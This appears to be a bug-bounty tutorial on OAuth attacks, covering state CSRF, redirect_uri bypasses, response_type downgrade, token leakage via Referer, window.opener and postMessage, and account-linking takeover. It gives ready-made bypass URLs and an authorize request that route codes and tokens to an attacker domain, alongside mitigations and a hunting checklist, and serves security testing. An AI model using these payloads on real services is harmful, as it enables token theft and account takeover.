Intermediate levelWith account

OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage

The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.

Gorka El BochiMay 9, 202614 min

Quick answer

OAuth adds attack surface: each step (authorize, callback, token exchange) has its own class of bug. The four most exploited vulns: missing state parameter (CSRF in account linking → ATO), poorly validated redirect_uri (token leak), response_type confusion (code/token sent to the wrong domain), and storing tokens in the URL (leaked via Referer/cache). Typical bounties: €1,000-€8,000 depending on severity.


The OAuth flow (refresher)

ini
[Cliente]                [Authorization Server]            [Resource Server]
   |                              |                              |
   |  /authorize?client_id=...   |                              |
   |  &redirect_uri=...          |                              |
   |  &state=...                 |                              |
   |  &response_type=code        |                              |
   |  ─────────────────────────> |                              |
   |                              |                              |
   |  302 redirect_uri?code=...   |                              |
   |  &state=...                  |                              |
   |  <───────────────────────── |                              |
   |                              |                              |
   |  POST /token                 |                              |
   |  code + client_secret        |                              |
   |  ─────────────────────────> |                              |
   |                              |                              |
   |  access_token + refresh      |                              |
   |  <───────────────────────── |                              |
   |                              |                              |
   |  GET /api  (Bearer token)                                   |
   |  ────────────────────────────────────────────────────────> |

Each arrow has a possible point of failure.


1. State parameter — OAuth's CSRF mitigation

state is a unique random value the client generates and verifies on the way back. Without state:

  • The attacker starts an OAuth flow with their IdP account.
  • Captures their own code in the callback.
  • Makes the victim visit https://target.tld/oauth/callback?code=<atacante_code>.
  • The target exchanges the code → receives the attacker's access_token → links the attacker's account to the victim's session.

Result: the victim is now "logged in as the attacker" in their target account → the attacker also has access, and can see what the victim does, or if the flow is "link account", the victim has linked their account to the attacker's (ATO if the attacker can later log in via the IdP).

Bypasses when state exists but is poorly done

  • Predictable state (timestamp, IP hash). If you can reproduce it, it doesn't protect.
  • State not validated server-side. If the client sends it but the server only verifies it's present (not that it matches the originally generated one), bypass.
  • State omitted and accepted. Remove it from the callback URL → does the server process it anyway?

2. redirect_uri bypass — the most common

The redirect_uri must be registered/validated by the authorization server. If validation is lax, the code/token is redirected to the attacker's domain.

Typical bypasses

bash
# Original registrada: https://app.target.tld/callback

# Subdomain takeover en parent domain
https://app.target.tld.attacker.tld/callback

# Path traversal
https://app.target.tld/callback/../redirect/external?url=attacker.tld

# Open redirect en endpoint del client
https://app.target.tld/redirect?url=attacker.tld   (si /redirect existe y redirige)

# Backslash normalization (ya documentado en otro artículo)
https://app.target.tld/\attacker.tld

# URL parsing differential
https://app.target.tld@attacker.tld/callback
https://app.target.tld#@attacker.tld/callback
https://app.target.tld%23.attacker.tld/callback

When the authorization server does partial validation

If the AS validates only the domain (not the full path) and the client has an endpoint that reflects part of the query string, you can inject HTML/JS that leaks the code via Referer or window.location.


3. Response type confusion

OAuth supports several response_type values:

  • code — Authorization Code flow (standard).
  • token — Implicit flow (deprecated, returns the access_token directly in the URL fragment).
  • code id_token — OpenID Connect hybrid.
  • none, id_token, etc.

The bug

Some clients register only the code flow but the AS accepts a downgrade to token:

ini
https://as.target.tld/authorize?
  client_id=app
  &redirect_uri=https://attacker.tld/cb   (si redirect_uri es laxo)
  &response_type=token                     (downgrade a implicit)
  &scope=read

The AS responds with https://attacker.tld/cb#access_token=...&token_type=bearer. The access_token goes in the URL fragment → Referer and proxies can capture it.


4. Code/Token leakage

Via Referer header

html
<!-- Página atacante en https://attacker.tld/leak -->
<img src="https://target.tld/?key=..." />

If the post-OAuth callback page contains resources loaded from external domains (analytics, ads, fonts, images), the Referer header carries the full URL with the code query param.

Mitigation: callback page with <meta name="referrer" content="no-referrer"> or Referrer-Policy: strict-origin.

Via window.opener

If the OAuth flow opens a popup and the popup loads the callback with code in the URL:

javascript
// Página atacante (popup opener)
window.open("https://target.tld/oauth/start", "popup");
setInterval(() => {
  try {
    console.log(popup.location.href);  // ¿accesible cross-origin?
  } catch {}
}, 100);

If the callback page doesn't use Cross-Origin-Opener-Policy: same-origin, the opener can read part of the popup's URL.

Via postMessage

If the callback does window.opener.postMessage(window.location.search, '*') with targetOrigin *, any opener captures the code.


5. Account linking takeover

When a user links an OAuth account (Google, GitHub, Facebook) to their target account:

  1. The attacker creates an account on the target with email victima@email.tld.
  2. The attacker starts the "link Google account" flow from their session.
  3. Captures the flow.
  4. Makes the victim visit the callback with the attacker-controlled code.
  5. The attacker's Google account now links to the attacker-controlled target account.
  6. If the target allows login only with Google, the attacker can now log in using their Google → gets into the target account with email victima@email.tld.

Mitigation: verify the email match between the OAuth provider and the target account before linking.


6. Pre-account takeover via OAuth

Attacker:

  1. Registers an account on the target with victima@email.tld without verifying the email.
  2. The victim later registers on the target via "Sign in with Google" using the same email.
  3. If the target does an automatic merge without verifying that the attacker had confirmed the email, both share the account — the attacker already has internal credentials + the victim thinks it's theirs.

Pattern: scope inflation

The client originally requests scope=read profile. If in the flow you can inject &scope=read profile admin and the AS doesn't validate strictly:

  • The AS asks the user for consent with the expanded scope.
  • If the user accepts without reading (common), the issued tokens have the expanded scope.

Verify that the AS rejects scopes not registered for the client_id.


Hunting checklist

  • Is there a state parameter? Is it validated server-side? Is it predictable?
  • Is redirect_uri validated with a lax regex or startsWith? Try bypasses.
  • Does the client expose redirect endpoints with ?url= that serve as a pivot?
  • Is response_type=token enabled but not normally used?
  • Does the callback page have Referrer-Policy and COOP headers?
  • postMessage with * in the callback?
  • Does account linking validate the email match?
  • Is scope validated against the registered client_id?
  • Are there /oauth/init, /oauth/start, /oauth/connect endpoints with different flows? Each potentially with its own vuln.

Practice state CSRF, redirect_uri bypass and account linking takeover in real OAuth flows: OAuth labs.

Practice this in a lab

Oauth

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy